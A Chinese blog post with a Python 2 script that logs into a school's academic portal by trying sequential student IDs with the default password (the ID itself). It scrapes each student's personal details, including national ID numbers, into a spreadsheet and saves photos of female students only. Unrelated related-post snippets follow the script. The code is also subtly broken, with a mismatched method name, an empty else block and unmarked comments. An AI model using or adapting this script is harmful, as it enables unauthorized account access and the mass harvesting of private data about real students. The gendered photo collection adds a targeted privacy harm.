1. 程式人生 > >使用Python爬取學校學生資訊!(簡單爬蟲)

使用Python爬取學校學生資訊!(簡單爬蟲)

很久木有來寫博文啦,發現學校的教務系統很多童鞋都木有修改初始密碼,於是博主就想寫試用python寫一個爬蟲小指令碼,將木有修改初始密碼的童鞋資料扒下來,然後嘿嘿嘿~~~通知他們修改!

鑑於寫博文時未通知這些受害童鞋們,因此隱去關鍵資訊。

首先為初始化方法__init__(self)

import urllib
import urllib2
import cookielib
import re
import xlwt
from xlrd import open_workbook
from xlutils.copy import copy
class STUPID:

    def __init__(self):
        self.c=0#用於後期記錄在excel中行數
        self.loginurl='http://xxx.cn/xxx/xxx.asp'#登陸url
        self.infurl='http://xxx.cn/xxx/xxx/show.asp' #獲取資訊的url   
        #user-agent用於放在header中,偽裝為瀏覽器
        self.user_agent='Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36'
        self.headers={
            'User-Agent':self.user_agent
            }#設定頭
        #用於儲存cookie
        cookie = cookielib.CookieJar()
        #用於輸出send內容,dubug時使用
        httpHandler = urllib2.HTTPHandler(debuglevel=1)
        httpsHandler = urllib2.HTTPSHandler(debuglevel=1)
        self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie),httpHandler, httpsHandler)
        urllib2.install_opener(self.opener)

下面介紹login(self,k)方法

def login1(self,k): 
    user= str(123456789+k)#使用者名稱為學號,為保護隱私,採用該輸入,K位偏移量,這是由於學號採用遞增方式排列
    passwd= str(123456789+k)#初始密碼等於使用者名稱
    #設定提交給伺服器的資料
    postdata= urllib.urlencode({
        'user':user,
        'pass':passwd,
        'typeid':'2'})#typeid為使用者種類        
    request=urllib2.Request(
        url=self.loginurl,
        data = postdata,
        headers=self.headers
    )
    result= self.opener.open(request)#登陸並獲取返回內容
    return user#返回學號

登陸成功之後,由於cookie已存在並記錄在簽名定義的cookie中,因此可以直接訪問資訊頁面,呼叫方法getInfPage(self)

def getInfPage(self):
    request=urllib2.Request(
        url=self.infurl,
        headers=self.headers
    )        
    result= self.opener.open(request)
    return result.read().decode('gbk')

讀取的資料為html的文字,因此需要使用正則表示式對需要的內容進行抓取,呼叫方法readInf(self)

:

def readInf(self):
    page= self.getInfPage()#page為html內容
    inf=re.findall('<td.*?>([^<tr>].*?)</td>.*?<td.*?>(.*?)</td>',page,re.S)

    return inf

按照規則匹配後資料將會存在list中並返回,此時呼叫writeinf(self,Items,user)方法講資訊寫入excel

def writeinf(self,Items,user):
    if Items:#若item不為空,行數+1
        self.c = self.c+1
    else:
    #由於包裡沒有直接修改的方法,因此採用先複製再寫的方法
    rb = open_workbook("inf.xls")#開啟inf.xls檔案
    wb= copy(rb)#複製內容
    s= wb.get_sheet(0)#獲取第一張表

    i=0
    username =''
    x= unicode('女', "utf-8") 

    for item in Items:
        s.write(self.c,0,user)#第一列寫入學號
        if i<3 :
            if i==0:
                username=item[1]#獲取姓名,並寫入第二列
            if i== 1 and item[1] == x:#若為女生,獲取其照片
                self.saveImg(user,username)#此為儲存圖片方法,在下文介紹
                print 'save'

            s.write(self.c,i+1,item[1])#第三列寫入性別,第四列寫民族
        if i== 13:#
            s.write(self.c,6,item[1])#第七列寫入畢業院校
        if i== 15:
            s.write(self.c,7,item[1])#第八列寫入籍貫      
        if i== 17:
            s.write(self.c,8,item[1])#第九列為身份證號            
        else:
            if i == 4:
                s.write(self.c,4,item[0])第五列寫生日
            if i == 8:
                s.write(self.c,5,item[0])第六列寫政治面貌
        i= i+1
    wb.save('inf.xls')#儲存xsl檔案

介紹一下儲存圖片的方法saveImg(self,user,username):

def saveImg(self,user,username):
    imgUrl= 'http://xxx.cn/xxx/xxx/'+user+'.jpg'#圖片url
    filename= 'img/'+username+'.jpg'#檔案以名字命名
    u= urllib.urlopen(imgUrl)
    data= u.read()#讀取圖片
    f= open(filename,'wb')
    f.write(data)#儲存圖片
    f.close #關閉
    return True

最後執行即可

supid= STUPID()
k=1
for k in range(1,200) :
    user= supid.login(k)#由於學生人數在200以內,因此最高設定為200
    supid.writeinf(supid.readInf(),user)

然後就是耐心等待啦,時間有點長,準備再加個多執行緒~~~圖片和資訊我只是儲存著玩噠,並不準備用來做羞羞的事情~大家也不要幹壞事喲!

相關推薦

使用Python學校學生資訊簡單爬蟲

很久木有來寫博文啦,發現學校的教務系統很多童鞋都木有修改初始密碼,於是博主就想寫試用python寫一個爬蟲小指令碼,將木有修改初始密碼的童鞋資料扒下來,然後嘿嘿嘿~~~通知他們修改! 鑑於寫博文時未通知這些受害童鞋們,因此隱去關鍵資訊。 首先為初始化方法__

python爬蟲-使用多程序美圖-人工智慧語言高效爬蟲

import os from multiprocessing.pool import Pool from urllib.parse import urlencode from hashlib import md5 import requests def loaDpage(fullurl):

python爬蟲遇到驗證碼的處理方法中國執行資訊公開網為例

朋友們大家好,python爬蟲是在學習python時比較容易上手的學習方式,爬蟲的思路簡要以下幾點:    1.獲取需要爬取頁面的網址,並且對網頁內容進行分析。(主要就原始碼討論,如果我們需要的內容沒有在原始碼出現,則需要進行抓包分析)    2.找到我們需要爬取的內容時我們

python煎蛋妹子圖老司機養成之路

chrom all with file windows import apple 妹子 lib 源碼: 1 import urllib.request 2 from bs4 import BeautifulSoup 3 import os 4 import io

Python——人口遷徙數據以騰訊遷徙為例

map car img all spa ima tps .sh compile 說明: 1.遷徙量是騰訊修改後的數值,無法確認真實性。 2.代碼運行期間,騰訊遷徙未設置IP屏蔽和瀏覽器檢測,因此下段代碼僅能保證發布近期有效。 3.代碼功能:爬取指定一天的四十個城市左右的遷徙

今天你教高考生一個裝逼神技利用Python歷年高考成績

mongo tle one 展示 com .text color rep mon 2.爬取數據 1.獲取各省的分數線信息 獲取各省份的鏈接: # 獲取分數線 def get_score(url): web_data = requests.get(url, hea

python自如房間資訊(二)

主要是針對自如房價的爬取 。以下程式碼對房價圖片進行處理,將裡面的數字提取出來,然後用knn最近鄰演算法去對圖片上的資料進行分類。 import sys import cv2 import numpy as np ####### training part ###########

python自如房間資訊(一)

使用python和selenium+Chrome Headless爬取自如房間資訊,並將結果儲存在MongoDB中。其中最麻煩的應該是每間房的價格,因為自如是用一張圖片和offset來顯示價格,所以不能直接獲得。但我們可以通過將圖片轉為文字,再通過偏移量將數字組合為價格。 在這裡我們使用的是Ch

python淘寶搜尋頁練習

1、本博文中程式碼是轉載內容,原文章地址如下: https://segmentfault.com/a/1190000014688216 2、原作者講解的很詳細,我只是在原文程式碼的基礎上稍作修改,添加了一些註釋及無關緊要的程式碼 3、本篇博文涉及知識點如下: ①通過對比頁面構

python學校教務管理系統

寫這個爬蟲的緣由 以前用java寫過一個爬取學校的教務系統的爬蟲 https://blog.csdn.net/ygdxt/article/details/81158321,最近痴迷Python爬蟲,瞭解到許多強大的庫,想再一次用學校的教務系統做下測試。 這一次我首先想到的是新的教

python杭州市幼兒園資訊

一、爬取前準備 1、IDE使用pycharm 2、安裝相關的庫,requests,re,xlsxwritter,beautifulsoup 如圖看到,網頁由頂部的區域,中間的學校列表和底部的分頁等幾個重要的部分組成。檢視網頁原始碼,可以看到上述的三個部分都

一文搞懂如何用Python上市公司資訊

1. 概念準備 Python基本概念 tb.to_csv(r'1.csv', mode='a', encoding='utf_8_sig', header=1, index=0) r意思是強制不轉義字串 TableTableTable型表格

Python 學校課程表和成績

本文僅用於學習交流爬蟲技術,不用於商業,轉載請說明出處! 最近在自學 Python 網路爬蟲,想實際練練手,於是選擇了學校的教務管理系統,獲取課表、成績、排名和績點。 我用的 Python 版本是 3.6,全部使用標準庫,用到的庫如下: urll

python爬蟲百度貼吧入門練習

需求說明: 從控制檯輸入指定爬取的貼吧名稱,起始頁面,結束頁面,並在檔案中 建立以  貼吧名稱+“爬取內容”  為名字建立檔案件,裡面的每一個 檔案都是爬取到的每一頁html檔案,檔名稱:貼吧名稱_page.html import urllib.reque

python花瓣妹子資訊

因為花瓣妹子資訊是動態載入的,所以如果用原始方法直接爬取網頁的方法是爬不到的,這裡我們用selenium來自動化處理。 import requests from bs4 import BeautifulSoup from selenium import w

Python磁力鏈資訊

更新說明 2017.4.23 本程式使用MySQL資料庫儲存,使用本程式前請手動修改相關程式開頭處的資料庫連線語句。 需要requests、bs4、pymysql庫支援。 爬取和網站目錄結構有關,網

python貓眼電影資訊

爬取TOP100所有電影的資訊,(電影名, 主演, 上映時間) 爬取該電影的宣傳封面的圖片, 儲存到本地/mnt/img/目錄中; 將獲取的資訊, 儲存到mysql資料庫中(電影名, 主演, 上映時間, 封面圖片的本地路徑) import re #<

python豆瓣電影資訊

''' 用到的主要知識:(詳情見官方文件) 1. requests 2. BeautifulSoup 3. codecs 4. os ''' #-*-coding:utf-8 import requests from bs4 import Beautif

爬蟲:用Python招聘職位資訊&職位需求分析

用Python爬取智聯招聘網站“資料分析”相關崗位資訊 # _*_ coding: utf-8 _*_ from bs4 import BeautifulSoup import requests import csv import json import pa

python 豆瓣書籍資訊

繼爬取 貓眼電影TOP100榜單 之後,再來爬一下豆瓣的書籍資訊(主要是書的資訊,評分及佔比,評論並未爬取)。原創,轉載請聯絡我。 需求:爬取豆瓣某型別標籤下的所有書籍的詳細資訊及評分 語言:python 支援庫: 正則、解析和搜尋:re、requests、bs4、lxml